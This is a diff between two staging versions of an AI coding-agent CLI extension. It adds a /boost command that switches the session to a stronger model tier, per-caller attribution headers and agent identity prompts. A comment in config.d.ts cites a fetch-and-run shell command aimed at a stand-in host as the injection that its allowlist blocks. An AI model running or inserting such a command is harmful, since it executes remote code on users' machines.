@yagni-app/code-staging 0.1.0-staging.1017.1 → 0.1.0-staging.1020.1

package/README.md

@@ -88,12 +88,14 @@ yagni -p "explain the deploy pipeline; ask_yagni if unsure"   # one-shot / print
 yagni logout         # revoke the token and clear it locally
 ```
 
-The agent runs on three opaque model tiers routed by YAGNI: `advanced` (the strongest,
-for judgment), `standard` (for execution) and `efficient` (cheapest).
-Interactive sessions default to `advanced`; pass `--model standard` or `--model
-efficient` to switch a run. The `/go` pipeline routes its own steps automatically —
-judgment steps (plan, review) on `advanced`, execution steps (map, implement, fix) on
-`standard`.
+The agent runs on model tiers routed by YAGNI: `advanced`, `standard`, and
+`efficient` (cheapest) are the three selectable via `--model`; `peak`, the
+strongest tier, is reserved for the `/go` pipeline's own judgment steps and is
+not one of the three.
+Interactive sessions default to `balanced`, which drives on `advanced`; pass
+`--model standard` or `--model efficient` to switch a run. The `/go` pipeline
+routes its own steps automatically — judgment steps (plan, review) on `peak`,
+execution steps (map, implement, fix) on `standard`.
 
 `login` opens a device-code flow: it prints a short code and a URL. Open the URL
 in a browser where you are signed in to YAGNI, enter the code, and approve. The

package/dist/extension/askAdvisorTool.js

@@ -113,7 +113,13 @@ export function makeAskAdvisorTool(opts) {
                 content: [{ type: "text", text: "Consulting the advisor…" }],
                 details: { consults: opts.state.read().consults, cost: 0 },
             });
-            const result = await runStage(advisorStage(), { ticket: buildConsultBrief(params) }, { cwd: ctx?.cwd ?? process.cwd(), ...(signal ? { signal } : {}) });
+            const result = await runStage(advisorStage(), { ticket: buildConsultBrief(params) }, {
+                cwd: ctx?.cwd ?? process.cwd(),
+                ...(signal ? { signal } : {}),
+                // YAG-471: attribute the consult's completions to the advisor, not
+                // the "plan" stage id advisorStage() borrows (see its docblock).
+                callerLabel: "advisor",
+            });
             const cost = result.usage?.cost ?? 0;
             const state = opts.state.record(cost);
             if (result.exitCode !== 0 && !result.finalOutput.trim()) {

package/dist/extension/boostCommand.d.ts

@@ -0,0 +1,144 @@
+/**
+ * `/boost` — the sanctioned session-scoped escalation to Peak (spec §7).
+ *
+ * The session default is the `balanced` tier. `/boost` flips the
+ * DRIVER session's live model to `peak` until `/boost off` or the process
+ * exits; `peak` stays directly pickable through pi's own model picker too,
+ * this just adds a one-word lever plus an attribution flag.
+ *
+ * Two halves, same split as `advisor.ts` / `permission.ts`:
+ *
+ *   - `boostOn` / `boostOff` are PURE. They own every transition and the exact
+ *     notice copy; no pi, no I/O, no env. That is what needs exhaustive tests.
+ *   - `registerBoostCommand` is the wiring: it applies the pure result's
+ *     `targetModelId` through pi's real model-switch API, toggles
+ *     `process.env.YAGNI_BOOST`, and paints the notice + a status-bar chip.
+ *
+ * The model-switch API (verified against pi 0.83.0's typings, not guessed):
+ * `ctx.modelRegistry.find(provider, modelId)` resolves a tier id to a
+ * `Model`, and `pi.setModel(model)` (the top-level `ExtensionAPI` method, NOT
+ * `ctx.setModel` — `ExtensionCommandContext` does not expose a setter) applies
+ * it to the live session, resolving `false` when no API key is configured.
+ * The `yagni` provider's catalog entries key `id` on the tier id itself (see
+ * `provider.ts`), so `peak` is the pi model id for the peak tier.
+ *
+ * State lives in the registration closure — module/session-scoped, mirroring
+ * `costHud.ts`'s accumulator — because a session's process exit is the only
+ * "end" there is; nothing needs to persist across it. `registerBoostCommand`
+ * returns a small `{ isBoosted() }` handle onto that same closure so other
+ * registrations (currently just `/cost`, see below) can read the live flag
+ * without a second source of truth.
+ *
+ * Picker-drift guard (spec review item 3): pi's OWN model picker (Ctrl+P,
+ * `/model`) can change the live model independently of `/boost` in either
+ * direction, so `state.active` can go stale relative to `ctx.model.id`. Both
+ * halves read the live model and reconcile rather than trusting `state.active`
+ * blindly:
+ *
+ *   - `boostOn` while already active but the live model has drifted OFF peak
+ *     (the user cycled models mid-boost without `/boost off`): re-applies
+ *     peak instead of a silent "Already boosted." that would leave the
+ *     driver quietly running a cheaper tier under an attribution header that
+ *     claims otherwise. The remembered `priorModelId` is left untouched — the
+ *     tier to restore is still whatever was active before the ORIGINAL boost,
+ *     not the tier the user happened to drift to.
+ *   - `boostOff` while active but the live model is no longer peak (same
+ *     drift, encountered from the other command): the user already left
+ *     boost manually, so forcing a switch back to the remembered prior tier
+ *     would clobber a choice they just made on purpose. Instead this clears
+ *     `/boost`'s own bookkeeping (state, env, chip) without touching the
+ *     model, and names where they actually landed.
+ *
+ * KNOWN asymmetry, documented rather than worked around: `YAGNI_BOOST=1`
+ * while boosted makes every CHILD process spawned during the boost (a /go
+ * run, a subagent, an advisor consult) inherit it, and those children's
+ * completions carry `x-yagni-boost` because their provider is registered
+ * fresh per child. The DRIVER's own completions do not gain that header
+ * retroactively — `buildYagniProvider`'s headers are baked into the
+ * `registerProvider` call once, at session start, from the env snapshot at
+ * that moment (see `provider.ts` / `attributionHeaders`). Re-registering the
+ * provider mid-session to pick up a new header is explicitly NOT the fix
+ * here: it would race the in-flight request the switch itself triggers and
+ * has no test coverage as a live-swap path.
+ *
+ * This is exactly why `/cost` cannot rely on server rows alone: the server's
+ * per-tier "Boosted (tier) spend" subtotal (`formatServerCostLines`, Task 7)
+ * only ever sees rows carrying `x-yagni-boost` — i.e. `/go` children, never
+ * the driver's own turns. A session that only chats while boosted would
+ * otherwise show no boost line at all. `registerCostCommand`'s `isBoosted`
+ * dep (threaded from THIS module's return handle, the same way
+ * `advisorSubtotal` is threaded from `advisor.ts`) closes that gap: `/cost`
+ * appends a fixed "Boost is on. Driver turns bill at the peak tier." line
+ * whenever the live toggle is on, on BOTH the server-authoritative and the
+ * local-fallback branch, independent of what server rows happen to show.
+ */
+import type { ExtensionAPI } from "@earendil-works/pi-coding-agent";
+/** Session-scoped boost state, held in the registration closure. */
+export interface BoostState {
+    active: boolean;
+    /** The tier to restore on `/boost off`. Set only while `active`. */
+    priorModelId?: string;
+}
+/** The pure outcome of a `/boost` transition. */
+export interface BoostResult {
+    state: BoostState;
+    /** Exact notice text to surface to the user. */
+    notice: string;
+    /** The tier id to switch the session to, or undefined for a pure no-op. */
+    targetModelId?: string;
+}
+/**
+ * Turn boost on. PURE.
+ *
+ * - Already active AND the live model is still `peak`: genuine no-op,
+ *   "Already boosted." (no switch — nothing about the prior tier changes).
+ * - Already active but the live model has drifted off `peak` (picker-drift
+ *   guard 3b, see module docblock): re-applies `peak`, keeping the ORIGINAL
+ *   `priorModelId` rather than adopting the drifted-to tier.
+ * - Not active, current model IS already `peak`: activates anyway (so
+ *   attribution and `/boost off` behave correctly) with a distinct notice,
+ *   remembering `peak` itself as the tier to restore.
+ * - Not active, otherwise: remembers the current tier, targets `peak`.
+ */
+export declare function boostOn(state: BoostState, currentModelId: string | undefined): BoostResult;
+/**
+ * Turn boost off. PURE.
+ *
+ * - Not active: no-op, "Boost is not on."
+ * - Active but the live model is no longer `peak` (picker-drift guard 3a,
+ *   see module docblock): the user already left boost manually. Clears
+ *   `/boost`'s own bookkeeping WITHOUT a switch — forcing one back to the
+ *   remembered prior tier would clobber a choice just made on purpose — and
+ *   names the model they actually landed on.
+ * - Active and still on `peak`: restores the remembered prior tier (falling
+ *   back to the session default when none was recorded, which should not
+ *   normally happen). When the prior tier is itself `peak` (the
+ *   already-on-Peak activation path), the resulting switch is a no-op in
+ *   effect — still applied, harmlessly.
+ */
+export declare function boostOff(state: BoostState, currentModelId: string | undefined): BoostResult;
+/** Injectable seams for `registerBoostCommand`. */
+export interface RegisterBoostCommandDeps {
+    /** Environment `YAGNI_BOOST` is toggled on. Defaults to `process.env`. */
+    env?: NodeJS.ProcessEnv;
+}
+/** What `registerBoostCommand` hands back so other registrations (`/cost`) can read the live flag. */
+export interface BoostCommandHandle {
+    /** Whether the session is currently boosted, read fresh off the same closure `/boost` mutates. */
+    isBoosted(): boolean;
+}
+/**
+ * Register the `/boost` command.
+ *
+ * `/boost` (no args) turns boost on; `/boost off` turns it off; any other
+ * argument shows a usage notice and changes nothing. Every transition that
+ * requires a model switch runs it through pi's real API and is guarded end to
+ * end: state and `YAGNI_BOOST` are only ever committed together, AFTER the
+ * switch succeeds (or is deliberately skipped — the picker-drift guards), so
+ * a half-applied boost (env set but model unchanged, or vice versa) can never
+ * happen. A failed ON reports "Boost failed."; a failed OFF reports a
+ * DISTINCT message, because the failure mode is materially worse — the
+ * driver is left still running (and billing) on Peak, not merely unchanged.
+ */
+export declare function registerBoostCommand(pi: ExtensionAPI, deps?: RegisterBoostCommandDeps): BoostCommandHandle;
+//# sourceMappingURL=boostCommand.d.ts.map

package/dist/extension/boostCommand.js

@@ -0,0 +1,263 @@
+/**
+ * `/boost` — the sanctioned session-scoped escalation to Peak (spec §7).
+ *
+ * The session default is the `balanced` tier. `/boost` flips the
+ * DRIVER session's live model to `peak` until `/boost off` or the process
+ * exits; `peak` stays directly pickable through pi's own model picker too,
+ * this just adds a one-word lever plus an attribution flag.
+ *
+ * Two halves, same split as `advisor.ts` / `permission.ts`:
+ *
+ *   - `boostOn` / `boostOff` are PURE. They own every transition and the exact
+ *     notice copy; no pi, no I/O, no env. That is what needs exhaustive tests.
+ *   - `registerBoostCommand` is the wiring: it applies the pure result's
+ *     `targetModelId` through pi's real model-switch API, toggles
+ *     `process.env.YAGNI_BOOST`, and paints the notice + a status-bar chip.
+ *
+ * The model-switch API (verified against pi 0.83.0's typings, not guessed):
+ * `ctx.modelRegistry.find(provider, modelId)` resolves a tier id to a
+ * `Model`, and `pi.setModel(model)` (the top-level `ExtensionAPI` method, NOT
+ * `ctx.setModel` — `ExtensionCommandContext` does not expose a setter) applies
+ * it to the live session, resolving `false` when no API key is configured.
+ * The `yagni` provider's catalog entries key `id` on the tier id itself (see
+ * `provider.ts`), so `peak` is the pi model id for the peak tier.
+ *
+ * State lives in the registration closure — module/session-scoped, mirroring
+ * `costHud.ts`'s accumulator — because a session's process exit is the only
+ * "end" there is; nothing needs to persist across it. `registerBoostCommand`
+ * returns a small `{ isBoosted() }` handle onto that same closure so other
+ * registrations (currently just `/cost`, see below) can read the live flag
+ * without a second source of truth.
+ *
+ * Picker-drift guard (spec review item 3): pi's OWN model picker (Ctrl+P,
+ * `/model`) can change the live model independently of `/boost` in either
+ * direction, so `state.active` can go stale relative to `ctx.model.id`. Both
+ * halves read the live model and reconcile rather than trusting `state.active`
+ * blindly:
+ *
+ *   - `boostOn` while already active but the live model has drifted OFF peak
+ *     (the user cycled models mid-boost without `/boost off`): re-applies
+ *     peak instead of a silent "Already boosted." that would leave the
+ *     driver quietly running a cheaper tier under an attribution header that
+ *     claims otherwise. The remembered `priorModelId` is left untouched — the
+ *     tier to restore is still whatever was active before the ORIGINAL boost,
+ *     not the tier the user happened to drift to.
+ *   - `boostOff` while active but the live model is no longer peak (same
+ *     drift, encountered from the other command): the user already left
+ *     boost manually, so forcing a switch back to the remembered prior tier
+ *     would clobber a choice they just made on purpose. Instead this clears
+ *     `/boost`'s own bookkeeping (state, env, chip) without touching the
+ *     model, and names where they actually landed.
+ *
+ * KNOWN asymmetry, documented rather than worked around: `YAGNI_BOOST=1`
+ * while boosted makes every CHILD process spawned during the boost (a /go
+ * run, a subagent, an advisor consult) inherit it, and those children's
+ * completions carry `x-yagni-boost` because their provider is registered
+ * fresh per child. The DRIVER's own completions do not gain that header
+ * retroactively — `buildYagniProvider`'s headers are baked into the
+ * `registerProvider` call once, at session start, from the env snapshot at
+ * that moment (see `provider.ts` / `attributionHeaders`). Re-registering the
+ * provider mid-session to pick up a new header is explicitly NOT the fix
+ * here: it would race the in-flight request the switch itself triggers and
+ * has no test coverage as a live-swap path.
+ *
+ * This is exactly why `/cost` cannot rely on server rows alone: the server's
+ * per-tier "Boosted (tier) spend" subtotal (`formatServerCostLines`, Task 7)
+ * only ever sees rows carrying `x-yagni-boost` — i.e. `/go` children, never
+ * the driver's own turns. A session that only chats while boosted would
+ * otherwise show no boost line at all. `registerCostCommand`'s `isBoosted`
+ * dep (threaded from THIS module's return handle, the same way
+ * `advisorSubtotal` is threaded from `advisor.ts`) closes that gap: `/cost`
+ * appends a fixed "Boost is on. Driver turns bill at the peak tier." line
+ * whenever the live toggle is on, on BOTH the server-authoritative and the
+ * local-fallback branch, independent of what server rows happen to show.
+ */
+/** The pi provider name the YAGNI catalog registers under (see `provider.ts`). */
+const YAGNI_PROVIDER = "yagni";
+/** The tier `/boost` escalates to. */
+const BOOST_TIER = "peak";
+/** The session default tier, restored when no prior tier is known. */
+const DEFAULT_TIER = "balanced";
+/** Tier ids are lowercase; every known tier's display name is just Title Case of the id. */
+function displayTierName(id) {
+    return id.length === 0 ? id : id.charAt(0).toUpperCase() + id.slice(1);
+}
+/**
+ * Turn boost on. PURE.
+ *
+ * - Already active AND the live model is still `peak`: genuine no-op,
+ *   "Already boosted." (no switch — nothing about the prior tier changes).
+ * - Already active but the live model has drifted off `peak` (picker-drift
+ *   guard 3b, see module docblock): re-applies `peak`, keeping the ORIGINAL
+ *   `priorModelId` rather than adopting the drifted-to tier.
+ * - Not active, current model IS already `peak`: activates anyway (so
+ *   attribution and `/boost off` behave correctly) with a distinct notice,
+ *   remembering `peak` itself as the tier to restore.
+ * - Not active, otherwise: remembers the current tier, targets `peak`.
+ */
+export function boostOn(state, currentModelId) {
+    if (state.active) {
+        if (currentModelId === BOOST_TIER) {
+            return { state, notice: "Already boosted." };
+        }
+        return {
+            state,
+            notice: `Re-boosted to Peak. /boost off to return to ${displayTierName(state.priorModelId ?? DEFAULT_TIER)}.`,
+            targetModelId: BOOST_TIER,
+        };
+    }
+    if (currentModelId === BOOST_TIER) {
+        return {
+            state: { active: true, priorModelId: BOOST_TIER },
+            notice: "Already on Peak. /boost off returns to Peak.",
+            targetModelId: BOOST_TIER,
+        };
+    }
+    return {
+        state: { active: true, priorModelId: currentModelId },
+        notice: `Boosted to Peak. /boost off to return to ${displayTierName(currentModelId ?? DEFAULT_TIER)}.`,
+        targetModelId: BOOST_TIER,
+    };
+}
+/**
+ * Turn boost off. PURE.
+ *
+ * - Not active: no-op, "Boost is not on."
+ * - Active but the live model is no longer `peak` (picker-drift guard 3a,
+ *   see module docblock): the user already left boost manually. Clears
+ *   `/boost`'s own bookkeeping WITHOUT a switch — forcing one back to the
+ *   remembered prior tier would clobber a choice just made on purpose — and
+ *   names the model they actually landed on.
+ * - Active and still on `peak`: restores the remembered prior tier (falling
+ *   back to the session default when none was recorded, which should not
+ *   normally happen). When the prior tier is itself `peak` (the
+ *   already-on-Peak activation path), the resulting switch is a no-op in
+ *   effect — still applied, harmlessly.
+ */
+export function boostOff(state, currentModelId) {
+    if (!state.active) {
+        return { state, notice: "Boost is not on." };
+    }
+    if (currentModelId !== BOOST_TIER) {
+        return {
+            state: { active: false, priorModelId: undefined },
+            notice: `Boost off. Leaving the model on ${displayTierName(currentModelId ?? DEFAULT_TIER)}.`,
+        };
+    }
+    const priorId = state.priorModelId ?? DEFAULT_TIER;
+    return {
+        state: { active: false, priorModelId: undefined },
+        notice: `Back to ${displayTierName(priorId)}.`,
+        targetModelId: priorId,
+    };
+}
+/**
+ * Resolve `tierId` to a live `Model` and apply it via `pi.setModel`.
+ *
+ * On a registry lookup miss, `allowFallback` (true only on the OFF path —
+ * MINOR 5) retries once against the session default tier rather than
+ * stranding the user on Peak over one missing catalog entry. Returns the
+ * tier id that was ACTUALLY applied, so the caller can tell whether the
+ * fallback fired and adjust the notice to name it honestly.
+ *
+ * @throws when neither the requested tier nor (if allowed) the fallback
+ * resolves, or when `pi.setModel` itself throws or resolves `false`.
+ */
+async function applyTier(pi, ctx, tierId, allowFallback) {
+    let model = ctx.modelRegistry?.find(YAGNI_PROVIDER, tierId);
+    let applied = tierId;
+    if (!model && allowFallback && tierId !== DEFAULT_TIER) {
+        model = ctx.modelRegistry?.find(YAGNI_PROVIDER, DEFAULT_TIER);
+        applied = DEFAULT_TIER;
+    }
+    if (!model) {
+        throw new Error(`Unknown YAGNI tier "${tierId}".`);
+    }
+    const ok = await pi.setModel(model);
+    if (!ok) {
+        throw new Error("setModel reported no API key configured.");
+    }
+    return applied;
+}
+/**
+ * Register the `/boost` command.
+ *
+ * `/boost` (no args) turns boost on; `/boost off` turns it off; any other
+ * argument shows a usage notice and changes nothing. Every transition that
+ * requires a model switch runs it through pi's real API and is guarded end to
+ * end: state and `YAGNI_BOOST` are only ever committed together, AFTER the
+ * switch succeeds (or is deliberately skipped — the picker-drift guards), so
+ * a half-applied boost (env set but model unchanged, or vice versa) can never
+ * happen. A failed ON reports "Boost failed."; a failed OFF reports a
+ * DISTINCT message, because the failure mode is materially worse — the
+ * driver is left still running (and billing) on Peak, not merely unchanged.
+ */
+export function registerBoostCommand(pi, deps = {}) {
+    const env = deps.env ?? process.env;
+    let state = { active: false };
+    const paintStatus = (ctx, active) => {
+        try {
+            if (ctx.hasUI)
+                ctx.ui.setStatus?.("yagni-boost", active ? "⚡ Peak" : undefined);
+        }
+        catch {
+            // The chip is chrome; never let it break /boost.
+        }
+    };
+    pi.registerCommand("boost", {
+        description: "Escalate this session's model to Peak until /boost off or the session ends. /boost off returns to the prior tier.",
+        handler: async (args, ctx) => {
+            const notify = (message, type) => {
+                if (ctx.hasUI)
+                    ctx.ui.notify(message, type);
+            };
+            // MINOR 4: case-insensitive "off" match, mirroring /mode's arg handling.
+            const arg = args.trim().toLowerCase();
+            if (arg !== "" && arg !== "off") {
+                notify("Usage: /boost (turn on) or /boost off.", "warning");
+                return;
+            }
+            const isOff = arg === "off";
+            const wasActive = state.active;
+            const result = isOff ? boostOff(state, ctx.model?.id) : boostOn(state, ctx.model?.id);
+            try {
+                let notice = result.notice;
+                if (result.targetModelId) {
+                    const applied = await applyTier(pi, ctx, result.targetModelId, isOff);
+                    if (applied !== result.targetModelId) {
+                        // MINOR 5: the remembered/target tier no longer resolves in the
+                        // catalog; we landed on the session default instead of
+                        // stranding the user on Peak. Name the fallback so the notice
+                        // stays honest about what actually happened.
+                        notice = `Back to ${displayTierName(applied)} (could not restore ${displayTierName(result.targetModelId)}).`;
+                    }
+                }
+                state = result.state;
+                // MINOR 6: only touch the env on a real active/inactive flip. Both
+                // pure no-op paths ("Already boosted.", "Boost is not on.") return
+                // `state` unchanged, so this never fires for them — an inherited
+                // YAGNI_BOOST from outside this session is left exactly as found.
+                if (state.active !== wasActive) {
+                    if (state.active) {
+                        env.YAGNI_BOOST = "1";
+                    }
+                    else {
+                        delete env.YAGNI_BOOST;
+                    }
+                }
+                notify(notice, "info");
+                paintStatus(ctx, state.active);
+            }
+            catch {
+                // IMPORTANT 1: a failed OFF is materially worse than a failed ON —
+                // the driver is STILL on Peak, still billing at Peak rates, which a
+                // generic "Boost failed." does not convey. Neither `state` nor
+                // `YAGNI_BOOST` was touched above (the throw lands before both), so
+                // the chip is also left exactly as it was: still lit.
+                notify(isOff ? "Could not leave boost. Still on Peak; try /boost off again." : "Boost failed.", "error");
+            }
+        },
+    });
+    return { isBoosted: () => state.active };
+}
+//# sourceMappingURL=boostCommand.js.map

package/dist/extension/branding.d.ts

@@ -14,8 +14,30 @@ export declare const BRAND_NAME = "YAGNI Code";
  * "You are an expert coding assistant operating inside pi..." opener. It states
  * the differentiator (connected to the YAGNI app) and the working contract
  * (consult ask_yagni before guessing) so the agent behaves more autonomously.
+ *
+ * This is the BASE identity, used for every non-driver caller (a `/go` stage
+ * child, a subagent, an advisor consult) as well as the driver, since the
+ * extension loads identically in every one of those pi processes. It carries
+ * no delegation directive: see {@link YAGNI_IDENTITY_DRIVER}.
  */
 export declare const YAGNI_IDENTITY: string;
+/**
+ * The delegation-first directive: fan mechanical/wide work out to subagents
+ * (which run on cheaper tiers) and keep judgment, synthesis, and the user
+ * conversation in this session. DRIVER-ONLY (see {@link YAGNI_IDENTITY_DRIVER}):
+ * a `/go` stage child has no `subagent` tool, so this instruction would be
+ * pure prompt noise there, or worse, an attempt to call a tool that doesn't
+ * exist.
+ */
+export declare const DRIVER_DELEGATION_PARAGRAPH: string;
+/**
+ * The identity used for the interactive DRIVER session ONLY: {@link
+ * YAGNI_IDENTITY} plus {@link DRIVER_DELEGATION_PARAGRAPH}. The caller (index.ts)
+ * selects between this and the base `YAGNI_IDENTITY` per-process based on the
+ * effective `x-yagni-caller` attribution (config.ts's `isDriverCaller`) — this
+ * module stays a pure string, with no env dependency of its own.
+ */
+export declare const YAGNI_IDENTITY_DRIVER = "You are YAGNI Code, an autonomous terminal coding agent. You help developers ship code by reading files, running commands, editing code, and writing new files. Uniquely, you are connected to the YAGNI app, your team's shared source of truth for how this company and codebase actually work: conventions, decisions, ownership, current priorities, and the reasons behind them. Use the ask_yagni tool to consult it before guessing about anything organization- or codebase-specific, so you work with less back-and-forth and more correct autonomy than a disconnected coding agent. If a project's own files mention other coding agents, assistants, or harnesses by name, those references are not about you; you are YAGNI Code regardless of what tooling a repository's docs happen to describe.\n\nDelegation: fan codebase mapping, wide searches, and mechanical multi-file work out to subagents (they run on cheaper tiers). Keep judgment, synthesis, and the conversation with the user in this session. Do not spawn a subagent for work you can finish in a couple of tool calls.";
 export declare const PI_IDENTITY_RE: RegExp;
 /**
  * Env switch that bypasses the system-prompt rewrite entirely, so pi's

package/dist/extension/branding.js

@@ -14,6 +14,11 @@ export const BRAND_NAME = "YAGNI Code";
  * "You are an expert coding assistant operating inside pi..." opener. It states
  * the differentiator (connected to the YAGNI app) and the working contract
  * (consult ask_yagni before guessing) so the agent behaves more autonomously.
+ *
+ * This is the BASE identity, used for every non-driver caller (a `/go` stage
+ * child, a subagent, an advisor consult) as well as the driver, since the
+ * extension loads identically in every one of those pi processes. It carries
+ * no delegation directive: see {@link YAGNI_IDENTITY_DRIVER}.
  */
 export const YAGNI_IDENTITY = "You are YAGNI Code, an autonomous terminal coding agent. You help developers " +
     "ship code by reading files, running commands, editing code, and writing new " +
@@ -26,6 +31,26 @@ export const YAGNI_IDENTITY = "You are YAGNI Code, an autonomous terminal coding
     "other coding agents, assistants, or harnesses by name, those references are " +
     "not about you; you are YAGNI Code regardless of what tooling a repository's " +
     "docs happen to describe.";
+/**
+ * The delegation-first directive: fan mechanical/wide work out to subagents
+ * (which run on cheaper tiers) and keep judgment, synthesis, and the user
+ * conversation in this session. DRIVER-ONLY (see {@link YAGNI_IDENTITY_DRIVER}):
+ * a `/go` stage child has no `subagent` tool, so this instruction would be
+ * pure prompt noise there, or worse, an attempt to call a tool that doesn't
+ * exist.
+ */
+export const DRIVER_DELEGATION_PARAGRAPH = "Delegation: fan codebase mapping, wide searches, and mechanical multi-file " +
+    "work out to subagents (they run on cheaper tiers). Keep judgment, synthesis, " +
+    "and the conversation with the user in this session. Do not spawn a subagent " +
+    "for work you can finish in a couple of tool calls.";
+/**
+ * The identity used for the interactive DRIVER session ONLY: {@link
+ * YAGNI_IDENTITY} plus {@link DRIVER_DELEGATION_PARAGRAPH}. The caller (index.ts)
+ * selects between this and the base `YAGNI_IDENTITY` per-process based on the
+ * effective `x-yagni-caller` attribution (config.ts's `isDriverCaller`) — this
+ * module stays a pure string, with no env dependency of its own.
+ */
+export const YAGNI_IDENTITY_DRIVER = `${YAGNI_IDENTITY}\n\n${DRIVER_DELEGATION_PARAGRAPH}`;
 // pi 0.83.0's exact identity sentence (dist/core/system-prompt.js). Exported as
 // the identity anchor the CLI's pi-contract tripwire test reads back from pi's
 // built system prompt, so a pi bump that reworded the opener (silently defeating

package/dist/extension/config.d.ts

@@ -95,6 +95,67 @@ export interface ContextBrief {
         corrections: number;
     };
 }
+/**
+ * Attribution headers for the model proxy (YAG-471). On the SERVER side these
+ * are labels only: a malformed value is dropped without failing the
+ * completion, so this never gates a request there.
+ *
+ * On the CLIENT side, though, pi itself treats every provider header VALUE as
+ * a config template before the request ever leaves the process
+ * (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
+ * starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
+ * reference is interpolated from env and THROWS the whole request if that env
+ * var is unset. These four values ride straight from `process.env` — a stray
+ * `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
+ * `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
+ * shape-checked against an allowlist BEFORE it goes anywhere near a header. A
+ * value that fails the check is dropped (or, for the caller, replaced with the
+ * `driver` default) rather than passed through raw; neither allowed charset
+ * (`[a-z0-9:_.-]` for the caller, hex + `-` for a UUID) can ever produce a `$`
+ * or a leading `!`, so a value that passes can never trigger pi's template or
+ * command resolution.
+ *
+ * `YAGNI_SESSION_ID` / `YAGNI_RUN_ID` MUST be UUIDs (the server also validates
+ * them against `llm_usage.session_id`, a UUID column) — the launcher mints the
+ * session id and `/go` threads the tracked run's server-assigned id, both
+ * already real UUIDs, so the shape check exists for the untrusted/malformed
+ * case, not the happy path. `YAGNI_CALLER` defaults to `driver` (an
+ * interactive session with no child/subagent/advisor label) whenever it is
+ * absent or fails the caller-label shape check.
+ */
+export declare function attributionHeaders(env?: NodeJS.ProcessEnv): Record<string, string>;
+/**
+ * Whether THIS process is the interactive driver session, as opposed to a
+ * `/go` stage child, a subagent, or an advisor consult. Mirrors
+ * {@link attributionHeaders}'s own `x-yagni-caller` resolution exactly (same
+ * env var, same shape check, same "driver" fallback) rather than re-deriving
+ * it, so the two can never drift: `YAGNI_CALLER` is unset (or fails the
+ * caller-label shape check) for the driver, and set to `go:<stage>`,
+ * `subagent:<name>`, or `advisor` for everything else (see runner.ts /
+ * subagents.ts / askAdvisorTool.ts).
+ *
+ * branding.ts uses this to gate the delegation-first directive onto the
+ * driver's system prompt only: a `/go` stage child has no `subagent` tool, so
+ * telling it to delegate is prompt noise at best and a hallucinated tool call
+ * at worst.
+ */
+export declare function isDriverCaller(env?: NodeJS.ProcessEnv): boolean;
+/**
+ * Sanitize a free-form name (a subagent's) into the caller-label charset the
+ * model proxy accepts (`/^[a-z0-9][a-z0-9:_.-]{0,63}$/i`, lower-cased
+ * server-side): lowercase, replace every disallowed character with `-`, and
+ * cap at `maxLength` (default 64, the server's own cap) so a caller can pass a
+ * smaller budget to leave room for a prefix like `subagent:`. Falls back to
+ * `agent` only when the result is truly empty (a blank/whitespace name) — an
+ * all-symbol name instead sanitizes to a run of dashes, which is returned
+ * as-is. That means the returned segment can start with `-`, `.`, or `_`, so
+ * it is server-valid only when a caller prefixes it with something
+ * alphanumeric (as `subagent:` does) to satisfy the leading `[a-z0-9]`
+ * requirement; it is not meant to be used as a caller label on its own. The
+ * server drops an invalid label silently rather than failing the request, so
+ * sanitizing client-side is what keeps the attribution instead of losing it.
+ */
+export declare function sanitizeCallerSegment(name: string, maxLength?: number): string;
 /** Options for {@link fetchContextBrief}. */
 export interface FetchContextBriefOptions {
     baseUrl: string;